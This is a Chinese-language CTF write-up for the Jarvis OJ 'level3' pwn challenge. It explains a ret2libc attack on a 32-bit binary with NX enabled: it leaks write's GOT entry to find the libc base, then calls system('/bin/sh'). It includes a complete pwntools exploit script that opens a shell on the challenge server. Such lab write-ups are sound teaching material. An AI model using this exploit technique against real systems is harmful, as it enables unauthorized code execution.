Pwn-level3

馋奶兔 提交于 2019-12-01 11:54:52

题目地址

https://dn.jarvisoj.com/challengefiles/level3.rar.2047525b05c499c9dd189ba212bba1f8

 

借鉴

https://www.bbsmax.com/A/mo5kNV14Jw/

 

开启了NX保护,不能直接shellcode

这类的题目类型为ret2libc

 32位的程序,用IDA打开,read函数存在溢出

程序中没有找到system函数,也没找到/bin/sh,但是给了一个libc-2.19.so,我们需要读取某一个函数 got 表中的地址来找到 libc 的基址,来计算system和/bin/sh内存地址

got表和plt表的关系参考(自己理得也不是很清) https://www.jianshu.com/p/0ac63c3744dd

 

思路(文笔不好,容易绕进去,看exp比较容易懂):

1、构造vulnerable_funcion中的read函数,让其溢出,然后用write函数泄露write函数本身的地址(read函数也行)

2、利用函数在内存中的地址和libc文件中的偏移的差相等,来获取基址,通过基址来获取system和/bin/sh的地址

3、再次返回vulnerable_funcion函数,进行二次溢出获得shell

exp(去掉注释再使用)如下

from pwn import *
r=remote("pwn2.jarvisoj.com",9879)
elf=ELF("./level3")  #调用got和plt

writeplt=elf.plt["write"] #got
writegot=elf.got["write"] #plt
func=elf.symbols["vulnerable_function"] #获得函数地址

libc=ELF("./libc-2.19.so")
writelibc=libc.symbols["write"]
syslibc=libc.symbols["system"]
binlibc=libc.search("/bin/sh").next()

payload1='a'*0x88+'aaaa'+p32(writeplt)+p32(func)+p32(1)+p32(writegot)+p32(4)
#再次返回func函数为了是进行二次溢出,后面三个分别是wirte函数的参数
# 1表示标准输出流stdout,中间是write是要输出的地址,这里要输出writegot,4是输出的长度
r.recvuntil("Input:\n")
r.sendline(payload1)

writeaddr=u32(r.recv(4))

sysaddr=writeaddr-writelibc+syslibc
binaddr=writeaddr-writelibc+binlibc

payload2='a'*0x88+'bbbb'+p32(sysaddr)+p32(0xaaaa)+p32(binaddr)
r.recvuntil("Input:\n")
r.sendline(payload2)
r.interactive()

执行结果

 

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!